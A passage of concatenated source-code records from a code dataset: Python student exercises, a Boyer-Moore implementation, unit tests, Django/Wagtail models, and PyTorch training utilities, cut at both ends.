return 1;\n else:\n return fibi(n-1)+fibi(n-2)\nfor i in range(20):\n print(fibi(i))\n\n#35\n\ndef z35(n):\n if n//10==0:\n return n\n else:\n return n%10+z35(n//10)\nprint(z35(12345589))\n\n#36 no idea\n'''\ntab=[7,5,[3,6,[2]],7,[1,[2,3,[4]],9,2],4]\ndef z36(tab):\n if isinstance(tab,int):\n return tab\n else:\n if isinstance(tab[0],int):\n return tab.pop(0)+z36(tab)\n else:\n suma=0\n for i in range(0,len(tab[0])):\n if isinstance(tab[0][i],int):\n suma+=tab[0][i]\n else:\n z36[tab[0].pop(i)]\n return suma\ntab22=[2,3,1,[1,2,3]]\nz36(tab)\n'''\n#37 #mozna by bylo posortowac tablice i sprawdzic czy po lewej i prwaej nie ma takich samych wartosci\ndef z37(tab):\n tab2=[]\n for i in range(0,len(tab)):\n powtarz=False\n for j in range(0,len(tab)):\n if i==j:\n pass\n else:\n if tab[i]==tab[j]:\n powtarz=True\n if powtarz==False:\n tab2.append(tab[i])\n return tab2\nprint(z37([2,5,7,2,5,7,1,1,2,8,9,100,90]))\n\n#38\ndef z38(s):\n res=''\n for i in s:\n if ord(i) >=65 and ord(i)<=90:\n res+=(i)\n return res\nprint(z38('Ala ma kota,Darek Maciborek, Kapitan Gwiezdenej Floty'))\n\n#39\ndef z39(n,x,y):\n if y=x and n<=y:\n return 'miesci sie'\n else:\n return 'nie miesci sie'\nprint(z39(10,10,3))\n\n#40\nlam=lambda x : not(x%2)\ntab=[1,2,3,4,5,6,7,8]\nx=filter(lam,tab)\nfor i in x:\n print(i)\n'''","sub_path":"04-Subroutines/durclas.py","file_name":"durclas.py","file_ext":"py","file_size_in_byte":6921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"203711970","text":"import os, sys\n\ndef find(bl):\n for rfl in range(2):\n for rot in range(4):\n xx = '/'.join([''.join(x) for x in bl])\n if xx in mappings:\n return mappings[xx]\n \n top = bl[0][::]\n for i in range(len(bl) - 1):\n bl[0][i] = bl[len(bl) - 1 - i][0]\n bl[len(bl) - 1 - i][0] = bl[len(bl) - 1][len(bl) - 1 - i]\n bl[len(bl) - 1][len(bl) - 1 - i] = bl[i][len(bl) - 1]\n bl[i][len(bl) - 1] = top[i]\n top = bl[0][::]\n for i in range(len(bl)):\n bl[0][i] = bl[len(bl) - 1][i]\n bl[len(bl) - 1][i] = top[i]\n raise ValueError()\n\ndef onCount(pat):\n return sum([sum([(0, 1)[x == '#'] for x in row]) for row in pat])\n\nsize = 3\npat = [list(x) for x in ['.#.', '..#', '###']]\n\nmappings = {}\nfor li in sys.stdin:\n parts = li[0:-1].split(' => ')\n mappings[parts[0]] = parts[1].split('/')\n\n\nfor i in range(18):\n if size % 2 == 0:\n newsize = size // 2 * 3\n for r in range(0, newsize, 3):\n pat.insert(r + 2, ['.'] * size)\n for c in range(0, newsize, 3):\n bl = find([pat[r + i][c:c+2] for i in range(2)])\n for x in range(3):\n pat[r + x][c:c+2] = bl[x]\n else:\n newsize = size // 3 * 4\n for r in range(0, newsize, 4):\n pat.insert(r + 3, ['.'] * size)\n for c in range(0, newsize, 4):\n bl = find([pat[r + i][c:c+3] for i in range(3)])\n for x in range(4):\n pat[r + x][c:c+3] = bl[x]\n size = newsize\n\n# print('\\n'.join([''.join(x) for x in pat]))\n# print('')\n# if i + 1 == 5 or i + 1 == 18:\n print(onCount(pat))\n\n","sub_path":"d21.py","file_name":"d21.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"57588568","text":"#Update Values in Dictionaries and Lists\nx = [ [5,2,3], [10,8,9] ]\nstudents = [\n {'first_name': 'Michael', 'last_name' : 'Jordan'},\n {'first_name' : 'John', 'last_name' : 'Rosales'}\n]\nsports_directory = {\n 'basketball' : ['Kobe', 'Jordan', 'James', 'Curry'],\n 'soccer' : ['Messi', 'Ronaldo', 'Rooney']\n}\nz = [ {'x': 10, 'y': 20} ]\n#answer\nx[1][0]=15\nprint(x)\nstudents[0]['last_name'] = \"Bryant\"\nprint(students)\nsports_directory['soccer'][0] = 'Andres'\nprint(sports_directory)\nz[0]['y']=30\nprint(z)\n\n\nprint(\"-------------------------\")\n#Iterate Through a List of Dictionaries\nstudents = [\n {'first_name': 'Michael', 'last_name' : 'Jordan'},\n {'first_name' : 'John', 'last_name' : 'Rosales'},\n {'first_name' : 'Mark', 'last_name' : 'Guillen'},\n {'first_name' : 'KB', 'last_name' : 'Tonel'}\n ]\ndef iterateDictionary(students):\n for i in range(len(students)):\n print(\"first_name - \"+students[i]['first_name']+\", last_name - \"+students[i]['last_name'])\niterateDictionary(students)\n# should output: (it's okay if each key-value pair ends up on 2 separate lines;\n# bonus to get them to appear exactly as below!)\n#first_name - Michael, last_name - Jordan\n#first_name - John, last_name - Rosales\n#first_name - Mark, last_name - Guillen\n#first_name - KB, last_name - Tonel\n\n\n\nprint(\"-------------------------\")\n#Get Values From a List of Dictionaries\ndef iterateDictionary2(key_name, some_list):\n for i in range(len(some_list)):\n print(some_list[i][key_name])\niterateDictionary2('first_name',students)\niterateDictionary2('last_name',students)\n\n\n\nprint(\"-------------------------\")\n#Iterate Through a Dictionary with List Values\ndef printInfo(some_dict):\n for key in some_dict:\n print(len(some_dict[key]),key)\n for i in range(len(some_dict[key])):\n print(some_dict[key][i])\n print(\"\")\n\ndojo = {\n 'locations': ['San Jose', 'Seattle', 'Dallas', 'Chicago', 'Tulsa', 'DC', 'Burbank'],\n 'instructors': ['Michael', 'Amy', 'Eduardo', 'Josh', 'Graham', 'Patrick', 'Minh', 'Devon']\n}\nprintInfo(dojo)\n\"\"\"\n7 LOCATIONS\nSan Jose\nSeattle\nDallas\nChicago\nTulsa\nDC\nBurbank\n\n8 INSTRUCTORS\nMichael\nAmy\nEduardo\nJosh\nGraham\nPatrick\nMinh\nDevon\n\"\"\"\n","sub_path":"python/fundamentals/Functions_Intermediate_II.py","file_name":"Functions_Intermediate_II.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"577417066","text":"import unittest\nfrom models.grid_items import Point\nfrom .grid_help import *\n\n\nclass TestDimensionForCenter(unittest.TestCase):\n\n def test_new_case(self):\n center = 3\n lower, upper = 4, 4\n expected = 3\n actual = get_dimension_around(center, lower, upper)\n self.assertEqual(expected, actual)\n\n\n def test_all_zero(self):\n center = 0\n lower, upper = 0, 0\n expected = 1\n actual = get_dimension_around(center, lower, upper)\n self.assertEqual(expected, actual)\n\n def test_no_active_mines(self):\n center = 1\n lower, upper = 0, 0\n expected = 3\n actual = get_dimension_around(center, lower, upper)\n self.assertEqual(expected, actual)\n\n def test_bigger_center(self):\n center = 5\n lower, upper = 0, 4\n expected = 11\n actual = get_dimension_around(center, lower, upper)\n self.assertEqual(expected, actual)\n\n def test_smaller_center(self):\n center = 1\n lower, upper = 2, 5\n expected = 11\n actual = get_dimension_around(center, lower, upper)\n self.assertEqual(expected, actual)\n\n def test_simple(self):\n center = 1\n lower, upper = 0, 4\n expected = 7\n actual = get_dimension_around(center, lower, upper)\n self.assertEqual(expected, actual)\n\n def test_example2(self):\n center = 3\n lower, upper = 0, 4\n expected = 7\n actual = get_dimension_around(center, lower, upper)\n self.assertEqual(expected, actual)\n\n def test_even_delta(self):\n '''upper - center is even'''\n center = 3\n lower, upper = 2, 6\n expected = 7\n actual = get_dimension_around(center, lower, upper)\n self.assertEqual(expected, actual)\n\n def test_one_mine_smaller(self):\n center = 2\n lower, upper = 1, 1\n expected = 3\n actual = get_dimension_around(center, lower, upper)\n self.assertEqual(expected, actual)\n\n def test_step5(self):\n center = 3\n lower, upper = 2, 4\n expected = 3\n actual = get_dimension_around(center, lower, upper)\n self.assertEqual(expected, actual)\n\n def test_single_stack(self):\n center = 2\n lower, upper = 4, 4\n expected = 5\n actual = get_dimension_around(center, lower, upper)\n self.assertEqual(expected, actual)\n\n\nclass TestBuildGrid(unittest.TestCase):\n\n def test_center(self):\n dims = (3, 3)\n self.assertTrue(get_grid_center(dims) == (1, 1))\n\n dims = (3, 5)\n self.assertTrue(get_grid_center(dims) == (1, 2))\n\n dims = (1, 7)\n self.assertTrue(get_grid_center(dims) == (1, 3))\n\n dims = (2, 3)\n with self.assertRaises(ValueError):\n get_grid_center(dims) \n\n\nclass TestBuildGrid(unittest.TestCase):\n\n def test_single_char(self):\n field_list = ['z']\n res_dict = decode_field_list(field_list)\n\n dims = res_dict.get('dims', None)\n dims_ans = (1, 1, 26)\n self.assertTrue(dims == dims_ans)\n\n mine_points = res_dict.get('mines', None)\n mine_points_ans = [Point(0, 0, -26)]\n self.assertListEqual(mine_points, mine_points_ans)\n\n def test_single_dot(self):\n field_list = ['.']\n res_dict = decode_field_list(field_list)\n\n dims = res_dict.get('dims', None)\n dims_ans = (1, 1, 1)\n self.assertTrue(dims == dims_ans)\n\n mine_points = res_dict.get('mines', None)\n mine_points_ans = []\n self.assertListEqual(mine_points, mine_points_ans)\n\n\n def test_example_input(self):\n field_list = '.e.\\n..a\\nA..'.split('\\n')\n res_dict = decode_field_list(field_list)\n\n dims = res_dict.get('dims', None)\n dims_ans = (3, 3, 27)\n self.assertTrue(dims == dims_ans)\n\n mine_points = res_dict.get('mines', None)\n mine_points_ans = [Point(1, 0, -5), Point(2, 1, -1), Point(0, 2, -27)]\n self.assertListEqual(mine_points, mine_points_ans)\n\n\n def test_invalid_field_input(self):\n field_list = '.e.\\n.a\\nA..'.split('\\n')\n\n with self.assertRaises(ValueError):\n decode_field_list(field_list)\n\n\n def test_example2(self):\n field_list = ['..Z..', '.....', 'Z...Z', '.....', '..Z..']\n res_dict = decode_field_list(field_list)\n\n dims = res_dict.get('dims', None)\n dims_ans = (5, 5, 52)\n self.assertTrue(dims == dims_ans)\n\n mine_points = res_dict.get('mines', None)\n mine_points_ans = [Point(2, 0, -52), Point(0, 2, -52),\n Point(4, 2, -52), Point(2, 4, -52)]\n self.assertListEqual(mine_points, mine_points_ans)\n\n\nclass TestChar2ord(unittest.TestCase):\n def test_char2ord(self):\n self.assertTrue(char2ord('a') == 1)\n self.assertTrue(char2ord('z') == 26)\n\n self.assertTrue(char2ord('A') == 27)\n self.assertTrue(char2ord('Z') == 52)\n\n with self.assertRaises(ValueError):\n char2ord('?')\n\nclass TestOrd2char(unittest.TestCase):\n def test_char2ord(self):\n self.assertTrue(ord2char(-1) == 'a')\n self.assertTrue(ord2char(26) == 'z')\n\n self.assertTrue(ord2char(27) == 'A')\n self.assertTrue(ord2char(-52) == 'Z')\n\n with self.assertRaises(ValueError):\n ord2char(-100)\n\n","sub_path":"utils/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":5357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"387689567","text":"\"\"\" Boyer moore's linear time pattern matching algorithm with the bad character rule, good suffix rule, match prefix rule and galil's optimization \"\"\"\r\n\r\nfrom reverse_z import z_suffix\r\nfrom z_algo import z_algorithm\r\n\r\n\r\ndef bad_character_preprocess(pattern, alphabet_size):\r\n \"\"\" Returns an array of size alphabet_size*len(pattern), where each position bad_char_array[i][j]:\r\n i represents a character in pattern and\r\n j represents the position of the rightmost same such character on the left of position i in pattern.\r\n\r\n :time complexity: O(n*alphabet_size) ~ O(n);\r\n :space complexity: O(n*alphabet_size) ~ O(n), where n is the length of the pattern\r\n \"\"\"\r\n bad_char_array = [[0] * len(pattern) for _ in range(alphabet_size)]\r\n for i in range(len(pattern) - 1, -1, -1):\r\n position = ord(pattern[i]) - 97\r\n bad_char_array[position][i] = i + 1\r\n if i + 1 < len(pattern) and bad_char_array[position][i + 1] == 0:\r\n j = i + 1\r\n while j < len(pattern) and bad_char_array[position][j] == 0:\r\n bad_char_array[position][j] = i + 1\r\n j += 1\r\n return bad_char_array\r\n\r\n\r\ndef good_suffix_preprocess(z_suffix_array):\r\n \"\"\" Returns an array whereby each position i + 1 contains an offset value that determines\r\n the safe good suffix shift when a mismatch occurs at position i in the pattern\r\n\r\n :time complexity: O(m)\r\n :space complexity: O(m), where m is the length of z_suffix_array\r\n \"\"\"\r\n m = len(z_suffix_array)\r\n good_suffix_array = [-1] * (m + 1)\r\n for i in range(m - 1):\r\n index = m - z_suffix_array[i]\r\n good_suffix_array[index] = i\r\n\r\n return good_suffix_array\r\n\r\n\r\ndef match_prefix_preprocess(z_array):\r\n \"\"\" Returns an array whereby each position i + 1 contains an offset value that determines\r\n the safe match prefix shift when a mismatch occurs at position i in the pattern\r\n \r\n :time complexity: O(m)\r\n :space complexity: O(m), where m is the length of z_array\r\n \"\"\"\r\n match_prefix_array = [0] * (len(z_array) + 1)\r\n i = len(z_array) - 1\r\n while i >= 0:\r\n if z_array[i] + i == len(z_array):\r\n match_prefix_array[i] = z_array[i]\r\n else:\r\n match_prefix_array[i] = match_prefix_array[i + 1]\r\n i -= 1\r\n return match_prefix_array\r\n\r\n\r\ndef galil_comparison(pattern, text, align_end_index, pattern_start, pattern_stop):\r\n \"\"\" Compares characters from right to left, while skipping characters in the pattern from\r\n pattern_start and pattern_stop. Returns True is no mismatch found, returns mismatching\r\n character's index (of text) otherwise\r\n \r\n :time complexity: O(m) where m is the length of pattern\r\n :space complexity: O(n+m) where n is length of text and m is the length of pattern \r\n \"\"\"\r\n # compare characters from align_end_index (inclusive) to pattern_stop (exclusive)\r\n text_index = align_end_index\r\n pattern_index = len(pattern) - 1\r\n right_value, comparisons = compare(pattern, text, text_index, pattern_index, pattern_stop)\r\n if right_value is not None:\r\n return right_value\r\n\r\n # compare characters from pattern_start (exclusive) to align_start_index (exclusive)\r\n align_start_index = align_end_index - len(pattern) + 1\r\n text_index = pattern_start - 1\r\n pattern_index = len(pattern) - (align_end_index - pattern_start) - 2\r\n return compare(pattern, text, text_index, pattern_index, align_start_index - 1)\r\n\r\n\r\ndef compare(pattern, text, text_index, pattern_index, stop):\r\n \"\"\" Performs explicit character comparison \"\"\"\r\n while text_index > stop and text_index > -1 and pattern_index > -1:\r\n if pattern[pattern_index] != text[text_index]:\r\n return text_index\r\n pattern_index -= 1\r\n text_index -= 1\r\n return None\r\n\r\n\r\ndef boyer_moore(pattern, text):\r\n \"\"\" Performs boyer moore's algorithm and returns a list of indices where the matches occur.\r\n \r\n :time complexity: O(n+m) OR O(n/m) armotized\r\n :space complexity: O(n+m) where n is the length of pattern and m is the length of pattern\r\n \"\"\"\r\n m = len(pattern)\r\n bad_character_array = bad_character_preprocess(pattern, 26)\r\n good_suffix_array = good_suffix_preprocess(z_suffix(pattern))\r\n match_prefix_array = match_prefix_preprocess(z_algorithm(pattern))\r\n\r\n output = []\r\n start = stop = len(pattern)\r\n pointer = len(pattern) - 1\r\n while pointer < len(text):\r\n mismatch = galil_comparison(pattern, text, pointer, start, stop)\r\n \r\n if mismatch is not None:\r\n mismatch_at_pattern = m - (pointer - mismatch) - 1\r\n\r\n # check bad character shift\r\n bad_character_index = ord(text[mismatch]) - 97\r\n bad_character_value = bad_character_array[bad_character_index][mismatch_at_pattern]\r\n bad_character_shift = max(1, mismatch_at_pattern - bad_character_value + 1)\r\n\r\n # check good suffix shift\r\n good_suffix_value = good_suffix_array[mismatch_at_pattern + 1]\r\n if good_suffix_value > -1:\r\n good_suffix_shift = m - good_suffix_value - 1\r\n else:\r\n # no good suffix, hence check prefix matching\r\n match_prefix_value = match_prefix_array[mismatch_at_pattern + 1]\r\n good_suffix_shift = m - match_prefix_value\r\n\r\n start = mismatch + 1\r\n stop = pointer\r\n pointer += max(good_suffix_shift, bad_character_shift)\r\n\r\n else:\r\n # all match, hence shift using prefix matching\r\n output += [pointer - m + 1]\r\n good_suffix_shift = m - match_prefix_array[1]\r\n\r\n stop = start = pointer\r\n pointer += good_suffix_shift\r\n\r\n return output\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"boyer_moore/boyer_moore.py","file_name":"boyer_moore.py","file_ext":"py","file_size_in_byte":5825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"193889188","text":"# Luis Fernando Durán Castillo\r\n# Calcular el descuento de una compra y el pago total.\r\n\r\n\r\ndef calcularDescuento(precio):\r\n if precio >= 1 and precio <= 9:\r\n descuento = 0\r\n elif precio>= 10 and precio <= 19:\r\n descuento = .15\r\n elif precio >= 20 and precio <= 49:\r\n descuento = .22\r\n elif precio >= 50 and precio <= 99:\r\n descuento = .35\r\n elif precio >= 100:\r\n descuento = .42\r\n else:\r\n descuento = \"Error\"\r\n return descuento\r\n\r\n\r\ndef main():\r\n print(\"Bienvenido, usted hace una compra de 10 o mas paquetes recibira un descuento.\")\r\n precio = int(input(\"Escribe la cantidad de paquetes va a comprar: \"))\r\n descuento = calcularDescuento(precio)\r\n\r\n if descuento == \"Error\":\r\n print(\"Error en el descuento, por favor intente de nuevo con numeros mayores a 0\")\r\n else:\r\n pago = precio * 2300\r\n descuentototal = 2300 * descuento * precio\r\n total = precio * (2300 - (2300 * descuento))\r\n print(\"El pago sin descuento es de: $\", pago)\r\n print(\"Lo que se descontara de su compra es: $\", descuentototal)\r\n print(\"El total a pagar por los paquetes es de: $\", total)\r\n\r\n\r\nmain()","sub_path":"mision 04/Software.py","file_name":"Software.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"54272813","text":"import json, os, io, datetime, re\n\n\ndef get_timestamp():\n return str(datetime.datetime.now())\n\ndef log(msg, msgType=\"INFO\", path=\".\\\\log.txt\", write_file=False, init=False, pref=\"\"):\n msg = \"[\" + msgType.ljust(6) + get_timestamp() + \"] \" + pref + msg\n if init and os.path.exists(path):\n os.remove(path)\n if write_file:\n try:\n mode = 'a+' if os.path.exists(path) else 'w+'\n with open(path, mode) as f:\n f.write(msg + \"\\n\")\n except Exception as e:\n print(\"[ERROR \" + get_timestamp() + \"] Could not write to log\")\n print(\"[ERROR \" + get_timestamp() + \"] \" + (\" \" * 3) + str(e))\n print(msg)\n\ndef read_file(file_path, throw_error=False):\n try:\n with open(file_path, 'r', encoding=\"utf8\") as f:\n return f.readlines()\n except FileNotFoundError:\n if throw_error: raise FileNotFoundError\n log(\"File [\" + file_path + \"] could not be found.\", \"ERROR\")\n return \"\"\n\ndef print_dict(d):\n for key, val in d.items():\n print(key + \" \" + str(val))\n\ndef split_and_filter(s, is_strip=True):\n cleaned = []\n x = [p for p in re.split(\"( |\\\\\\\".*?\\\\\\\"|'.*?')\", s) if p.strip()]\n for s in x: \n cleaned += filter(None, re.split('(\\\")', s))\n return cleaned\n\n\ndef push_bottom(stack, item):\n if stack.is_empty():\n stack.push(item)\n else:\n popped = stack.pop()\n push_bottom(stack, item)\n stack.push(popped)\n\ndef flip_stack(stack):\n if not stack.is_empty():\n popped = stack.pop()\n flip_stack(stack)\n push_bottom(stack, popped)\n return stack","sub_path":"lib/GenshiBASIC/Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"41256806","text":"from django.db import models\nfrom modelcluster.fields import ParentalKey\n\nfrom wagtail.core.models import Page, Orderable\nfrom django.db.models import TextField\nfrom wagtail.admin.edit_handlers import FieldPanel, MultiFieldPanel, InlinePanel\nfrom wagtail.images.edit_handlers import ImageChooserPanel\nfrom wagtail.search import index\nfrom wagtail.api import APIField\n\n\nclass HomePage(Page, models.Model):\n # db fields\n h_one = models.CharField(max_length=250, default=\"H1\")\n h_one_span = models.CharField(max_length=250, default=\"H1 Span\")\n content = models.TextField(blank=True, null=True)\n\n # Search index configuration\n search_fields = Page.search_fields + [\n index.SearchField('h_one'),\n index.SearchField('h_one_span'),\n index.FilterField('content'),\n ]\n\n # Editor panels configuration\n content_panels = Page.content_panels + [\n FieldPanel('h_one'),\n FieldPanel('h_one_span'),\n FieldPanel('content'),\n ]\n\n # API configuration\n api_fields = [\n APIField('h_one'),\n APIField('h_one_span'),\n APIField('content'),\n ]\n","sub_path":"home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"598303121","text":"import unittest\nimport sys\nsys.path.append(\"../\")\nfrom models.shopping_cart import ShoppingCart\n\n\nclass TestShoppingCart(unittest.TestCase):\n \"\"\"\n A test suite for the Shopping cart Feature of Bangazon CLI\n\n Methods:\n test_current_cart_should_be_ShoppingCart_object\n test_ShoppingCart_should_add_product\n test_ShoppingCart_should_be_able_to_be_closed\n \"\"\"\n \n @classmethod\n def setUpClass(self):\n \"\"\"\n Method to setup global values needed for all tests\n \"\"\"\n print('Set up class')\n # Create an instance of the ShoppingCart that can be used in all tests\n self.current_cart = ShoppingCart()\n # Create an instance of a product that can be used in all tests\n # Product tuple will need alteration\n self.product1 = (1, \"Widget\", 5)\n self.product2 = (2, \"FooBar\", 10)\n self.payment_method = (1, \"Visa\", \"1234567812345678\")\n\n\n def test_current_cart_should_be_ShoppingCart_object(self):\n \"\"\"\n Method to test whether the ShoppingCart object id created correctly\n \"\"\"\n self.assertIsInstance(self.current_cart, ShoppingCart)\n \n\n def test_ShoppingCart_should_add_product(self):\n \"\"\"\n Method to test whether the ShoppingCart object can add a product\n \"\"\"\n current_cart = ShoppingCart()\n self.assertEqual(current_cart.get_all_products(), [])\n current_cart.add_product(self.product1)\n self.assertEqual(current_cart.get_all_products(), [self.product1])\n current_cart.add_product(self.product2)\n self.assertEqual(current_cart.get_all_products(), [self.product1, self.product2])\n\n\n def test_ShoppingCart_should_return_cart_total_price(self):\n \"\"\"\n Method to test whether the shopping cart can return the total\n \"\"\"\n total = self.current_cart.get_cart_total()\n self.assertEqual(total, 15)\n\n def test_ShoppingCart_should_accept_payment_method(self):\n \"\"\"\n Method to test whether the shopping cart can be closed\n \"\"\"\n self.current_cart.accept_payment(payment_method)\n self.assertEqual(self.current_cart.get_payment_method(), [(1, \"Visa\", \"1234567812345678\")])\n self.assertTrue(self.current_cart.order_is_closed())\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"Tests/test_shopping_cart.py","file_name":"test_shopping_cart.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"419448392","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 21 21:00:02 2018\n\n@author: ben\n\"\"\"\nimport pandas as pd\nfrom ML.datasets.timeseries.read_stocks import loadfile, compounded\n\n\ndef findpeakandtrough(df, ratio_downturn=0.1, ratio_recovery=0.1):\n \"\"\" function to returns peaks and throughs of a time-series\"\"\" \n downturn = False\n peakandtrough = []\n currmax = [df.index[0], df.iloc[0]]\n \n for ii in range(len(df)):\n dat = df.index[ii]\n val = df.iloc[ii]\n if not downturn:\n if val > currmax[1]:\n currmax = [dat, val]\n if val < (1.0-ratio_downturn) * currmax[1]:\n downturn = True\n currpth = [currmax[0]]\n currmin = [dat, val]\n else:\n if val < currmin[1]:\n currmin = [dat, val]\n if val > (1.0+ratio_recovery)*currmin[1]:\n downturn = False\n currpth.append(currmin[0])\n peakandtrough.append(currpth)\n currpth = []\n currmax = [dat, val]\n if len(currpth) > 0:\n peakandtrough.append(currpth)\n return peakandtrough\n\n\nif __name__ == \"__main__\":\n df = loadfile('../datasets/timeseries/stocksIBMandCo.txt')\n df['MktC'] = compounded(df.MARKET) + 1.0\n #df = df.iloc[90:,:]\n df.set_index('date').MktC.plot()\n pandt = findpeakandtrough(df.set_index('date').MktC)\n print(pandt)","sub_path":"utilities/peakandtrough.py","file_name":"peakandtrough.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"638324618","text":"import argparse\nimport logging\nimport logging.handlers\nimport math\nimport numpy as np\nimport os\nimport random\nimport time\n\nimport apex\nfrom apex import amp\nfrom thop import profile\nfrom thop import clever_format\nimport torch\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn\nimport torchvision.ops\n\n\ndef parse_args_example():\n '''\n args backup\n '''\n parser = argparse.ArgumentParser(description='PyTorch ImageNet Training')\n parser.add_argument('--string-variable',\n type=str,\n default='string',\n help='explain variable')\n parser.add_argument('--float-variable',\n type=float,\n default=0.01,\n help='explain variable')\n parser.add_argument('--int-variable',\n type=int,\n default=10,\n help='explain variable')\n parser.add_argument('--list-variable',\n type=list,\n default=[1, 10, 100],\n help='explain variable')\n parser.add_argument('--bool-variable',\n default=False,\n action='store_true',\n help='explain variable')\n\n return parser.parse_args()\n\n\ndef get_logger(name, log_dir):\n '''\n Args:\n name(str): name of logger\n log_dir(str): path of log\n '''\n\n if not os.path.exists(log_dir):\n os.makedirs(log_dir)\n\n logger = logging.getLogger(name)\n logger.setLevel(logging.INFO)\n\n info_name = os.path.join(log_dir, '{}.info.log'.format(name))\n info_handler = logging.handlers.TimedRotatingFileHandler(info_name,\n when='D',\n encoding='utf-8')\n info_handler.setLevel(logging.INFO)\n\n formatter = logging.Formatter('%(asctime)s - %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S')\n\n info_handler.setFormatter(formatter)\n\n logger.addHandler(info_handler)\n\n return logger\n\n\ndef set_seed(seed):\n # for hash\n os.environ['PYTHONHASHSEED'] = str(seed)\n # for python and numpy\n random.seed(seed)\n np.random.seed(seed)\n # for cpu gpu\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n # for cudnn\n cudnn.benchmark = False\n cudnn.deterministic = True\n\n\ndef worker_seed_init_fn(worker_id, num_workers, local_rank, seed):\n # worker_seed_init_fn function will be called at the beginning of each epoch\n # for each epoch the same worker has same seed value,so we add the current time to the seed\n worker_seed = num_workers * local_rank + worker_id + seed + int(\n time.time())\n np.random.seed(worker_seed)\n random.seed(worker_seed)\n\n\ndef compute_flops_and_params(config, model):\n flops_input = torch.randn(1, 3, config.input_image_size,\n config.input_image_size)\n\n model_on_cuda = next(model.parameters()).is_cuda\n if model_on_cuda:\n flops_input = flops_input.cuda()\n\n flops, params = profile(model, inputs=(flops_input, ), verbose=False)\n flops, params = clever_format([flops, params], '%.3f')\n\n return flops, params\n\n\ndef build_optimizer(config, model):\n assert config.optimizer in ['SGD', 'AdamW'], 'Unsupported optimizer!'\n\n if config.optimizer == 'SGD':\n return torch.optim.SGD(model.parameters(),\n lr=config.lr,\n momentum=config.momentum,\n weight_decay=config.weight_decay)\n elif config.optimizer == 'AdamW':\n return torch.optim.AdamW(model.parameters(),\n lr=config.lr,\n weight_decay=config.weight_decay)\n\n\ndef build_scheduler(config, optimizer):\n '''\n The value of config.warm_up_epochs is zero or an integer larger than 0\n '''\n assert config.scheduler in ['MultiStepLR',\n 'CosineLR'], 'Unsupported scheduler!'\n assert config.warm_up_epochs >= 0, 'Illegal warm_up_epochs!'\n if config.warm_up_epochs > 0:\n if config.scheduler == 'MultiStepLR':\n lr_func = lambda epoch: epoch / config.warm_up_epochs if epoch <= config.warm_up_epochs else config.gamma**len(\n [m for m in config.milestones if m <= epoch])\n elif config.scheduler == 'CosineLR':\n lr_func = lambda epoch: epoch / config.warm_up_epochs if epoch <= config.warm_up_epochs else 0.5 * (\n math.cos(\n (epoch - config.warm_up_epochs) /\n (config.epochs - config.warm_up_epochs) * math.pi) + 1)\n elif config.warm_up_epochs == 0:\n if config.scheduler == 'MultiStepLR':\n lr_func = lambda epoch: config.gamma**len(\n [m for m in config.milestones if m <= epoch])\n elif config.scheduler == 'CosineLR':\n lr_func = lambda epoch: 0.5 * (math.cos(\n (epoch - config.warm_up_epochs) /\n (config.epochs - config.warm_up_epochs) * math.pi) + 1)\n\n return torch.optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_func)\n\n\ndef build_training_mode(config, model, optimizer):\n '''\n Choose model training mode:nn.DataParallel/nn.parallel.DistributedDataParallel,use apex or not\n '''\n if config.distributed:\n if config.sync_bn:\n model = torch.nn.SyncBatchNorm.convert_sync_batchnorm(model).cuda()\n if config.apex:\n amp.register_float_function(torch, 'sigmoid')\n amp.register_float_function(torch, 'softmax')\n amp.register_float_function(torchvision.ops, 'deform_conv2d')\n model, optimizer = amp.initialize(model, optimizer, opt_level='O1')\n model = apex.parallel.DistributedDataParallel(model,\n delay_allreduce=True)\n if config.sync_bn:\n model = apex.parallel.convert_syncbn_model(model).cuda()\n else:\n local_rank = torch.distributed.get_rank()\n model = nn.parallel.DistributedDataParallel(\n model, device_ids=[local_rank], output_device=local_rank)\n else:\n if config.apex:\n model, optimizer = amp.initialize(model, optimizer, opt_level='O1')\n\n model = nn.DataParallel(model)\n\n return model\n","sub_path":"tools/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"399683205","text":"# -*- coding: utf-8 -*-\n# @Time : 2018-9-28 17:00\n# @Author : xylon\nimport cv2\nimport torch\nimport numpy as np\nimport time\n\nimport cv2\nimport torch\nimport numpy as np\nimport matplotlib as plt\nfrom model.rf_des import HardNetNeiMask\nfrom model.rf_det_so import RFDetSO\nfrom model.rf_net_so import RFNetSO\nfrom config import cfg\nfrom utils.math_utils import distance_matrix_vector, pairwise_distances, ptCltoCr\n\ndef save_patchpair(patch_pair, name, save, size=None):\n bar = (\n range(patch_pair.size(0))\n if size is None\n else np.random.randint(patch_pair.size(0), size=size)\n )\n for i in 